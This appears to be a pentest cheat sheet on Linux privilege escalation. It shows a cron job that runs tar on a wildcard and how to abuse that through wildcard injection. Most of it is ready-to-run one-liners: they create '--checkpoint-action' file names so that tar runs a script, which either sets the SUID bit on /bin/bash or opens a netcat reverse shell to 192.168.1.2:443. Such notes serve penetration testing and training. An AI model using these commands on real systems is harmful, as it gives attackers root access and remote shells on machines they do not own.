---

Linux (Privilege Escalation)

Detect

Cron

cd /var/www/html && tar -zcf /var/backups/serve.tgz *

Abuse

Wilcard Injection

SUID (Bash)

touch -- "--checkpoint=1" && touch -- "--checkpoint-action=exec=sh injection.sh" && echo -n 'chmod 4755 /bin/bash' > injection.sh && chmod +x injection.sh

Reverse Shell

touch -- "--checkpoint=1" && touch -- "--checkpoint-action=exec=sh injection.sh" && echo -n 'busyboxnc 192.168.1.2 443 -e /bin/sh' > injection.sh && chmod +x injection.sh